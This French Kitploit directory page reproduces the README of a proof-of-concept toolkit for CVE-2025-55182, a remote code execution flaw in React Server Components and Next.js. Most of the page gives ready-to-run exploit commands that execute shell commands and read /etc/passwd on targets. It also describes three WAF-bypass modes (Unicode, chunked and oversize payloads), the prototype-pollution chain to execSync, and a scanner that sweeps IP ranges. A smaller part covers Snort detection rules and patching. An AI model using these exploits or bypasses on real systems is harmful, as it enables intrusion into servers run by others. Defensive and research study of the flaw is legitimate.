Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-POC — CVE-2025-55182-POC | Kitploit
Outils/GitHubGitHub/zxz3650/cve-2025-55182-poc
Analyse des VulnérabilitésExploitationÉvasion IDS/IPSExploitation d'Applications WebContournement de WAFTests d'IntrusionDéveloppement de Charges Utiles
GitHubzxz3650/cve-2025-55182-poc

CVE-2025-55182-POC

CVE-2025-55182-POC

Voir le dépôt
15il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182 POC & Détection

Collection d'outils d'exploitation et de détection pour la vulnérabilité de désérialisation non sécurisée dans React Server Components (RSC)

Informations sur la vulnérabilité

  • CVE-ID: CVE-2025-55182
  • Versions affectées : React 19.x, Next.js 15.x/16.x (lors de l'utilisation d'App Router)
  • Vecteur d'attaque : Exécution de code à distance (RCE) via pollution de prototype lors de la désérialisation du protocole RSC Flight
  • Gravité : Critique (CVSS 10.0)

📦 Composants

1. Environnement vulnérable (Docker)

  • docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rc
  • vulnerable-app/ - Code Server Action vulnérable

2. Outil d'exploitation

  • exploit_advanced.py - Prend en charge plusieurs techniques d'attaque (Basic/Advanced/Chunked/Oversize)

3. Scanner de vulnérabilité

Télécharger l’outil
  • rsc_vulnerability_checker_multi.py - Outil de diagnostic multi-cibles

4. Règles de détection IDS

  • rules_priority_based - Ensemble de règles Snort basées sur la priorité

🚀 Démarrage rapide

1. Construction de l'environnement vulnérable

root@kitploit:~
cd vulnerable-app
docker-compose up -d
# Vérifier l'accès à http://localhost:3000

2. Diagnostic de la vulnérabilité

root@kitploit:~
# Test d'une URL unique
python3 rsc_vulnerability_checker_multi.py http://localhost:3000

# Scan par lots de plusieurs URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

# Scan d'une plage IP
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20

# Lecture depuis un fichier
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv

3. Exécution de l'exploit

root@kitploit:~
# Attaque de base
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic

# Attaque avancée (chaîne de prototypes + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced

# Contournement WAF - encodage Unicode
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass

# Contournement WAF - encodage par transfert en morceaux (Chunked Transfer Encoding)
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked

# Contournement WAF - charge utile surdimensionnée (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536

# Tentative séquentielle de toutes les techniques
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v

4. Test de détection réseau

root@kitploit:~
# Capture du trafic d'attaque
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump

# Analyse avec Snort
snort -c snort.conf -r attack.pcap -A console -k none

Détail des techniques d'exploitation

Mode Basic

Envoi direct de la charge utile RSC Flight

root@kitploit:~
# Appel direct à une Server Action
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>

["$@1",["$","$L2",null,{...}]]

Mode Advanced

RCE via pollution de prototype (Prototype Pollution)

root@kitploit:~
// Principe fondamental
{
  "then": "$1:__proto__:then",           // Déclenchement de Chunk.prototype.then
  "_response": {                          // Injection d'une fausse réponse
    "_formData": {...},
    "_prefix": ""
  },
  "$1:constructor:constructor": Function  // Accès au constructeur Function
}

Chaîne d'attaque :

  1. Pollution de __proto__ pour définir Chunk.prototype.then
  2. Injection d'un objet _response pour contrôler FormData
  3. Le gestionnaire $B appelle response._formData.get(id)
  4. Chaîne constructor:constructor pour accéder à Function
  5. Exécution de process.mainModule.require('child_process').execSync(cmd)

Mode Chunked

Répartition des motifs via Transfer-Encoding

root@kitploit:~
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked

10
["$@1",["$","
15
$L2",null,{"then
...
  • Contournement de la correspondance de motifs WAF (fractionnement des mots-clés)
  • Impossible à inspecter dans un seul tampon

Mode Oversize

Contournement de la limite de taille AWS WAF

root@kitploit:~
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF : inspecte seulement les 8 premiers Ko
# Le code d'attaque réel est placé après les 8 Ko

📊 Priorité des règles de détection

Règles P0 (SID 2000xxx) - Blocage immédiat

  • process.mainModule.require + child_process + execSync
  • __proto__ + resolved_model + module RCE
  • Accès à /etc/passwd, /etc/shadow, .ssh/id_rsa

📋 Prérequis

Obligatoires

  • Docker & Docker Compose
  • Python 3.8+
  • Bibliothèque requests
    root@kitploit:~
    pip install requests
    

Facultatifs (pour les tests de détection)

  • Snort 2.9+
  • tcpdump

🔍 Utilisation du scanner de vulnérabilité

Utilisation de base

root@kitploit:~
# URL unique
python3 rsc_vulnerability_checker_multi.py http://target.com

# URL multiples
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com

Utilisation avancée

root@kitploit:~
# Scan d'une plage IP (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000

# Scan d'une plage IP (tiret)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50

# Entrée/sortie fichiers
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv

# Mode verbeux
python3 rsc_vulnerability_checker_multi.py http://target.com -v

Format de sortie

root@kitploit:~
[VULNÉRABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SÛR] http://example.com:3000 - Non vulnérable
[ERREUR] http://offline.com:3000 - Délai de connexion dépassé

🎯 Options de l'outil d'exploitation

Modes d'attaque

  • --basic : Envoi direct de la charge utile RSC Flight
  • --advanced : Chaîne de prototypes + technique thenable
  • --chunked : Transfer-Encoding par morceaux
  • --oversize <size> : Charge utile surdimensionnée (par défaut : 65536 octets)
  • --all : Tentative séquentielle de toutes les techniques

Contournement WAF

  • --waf-bypass : Encodage Unicode (constructor → \u0063onstructor)
  • --chunked : Répartition des motifs
  • --oversize : Contournement de la limite de taille AWS WAF

Autres

  • -v, --verbose : Sortie détaillée
  • -t, --timeout : Délai d'expiration de la requête (par défaut : 10 s)

🛡 Défense et détection

Niveau application

  1. Mise à niveau de React 19.0.0-rc → 19.0.0 (stable)
  2. Mise à niveau de Next.js 15.0.3 → 15.1.0+
  3. Renforcement de la validation des entrées des Server Actions
  4. Désactivation des fonctionnalités experimental

Niveau réseau

  1. Application des règles Snort (rules_priority_based)
  2. Politiques WAF :
    • Blocage du mot-clé __proto__
    • Blocage du motif process.mainModule.require
    • Limitation de la taille du corps POST (< 1 Mo)
  3. Limitation du débit (limitation des requêtes Server Action)

Surveillance

root@kitploit:~
# Surveillance en temps réel avec Snort
snort -c snort.conf -i eth0 -A console

# Analyse de fichiers journaux
snort -c snort.conf -r network.pcap -A fast

Ce contenu est destiné uniquement à des fins de recherche, d'éducation et de validation de diagnostics, et ne doit pas être utilisé à d'autres fins.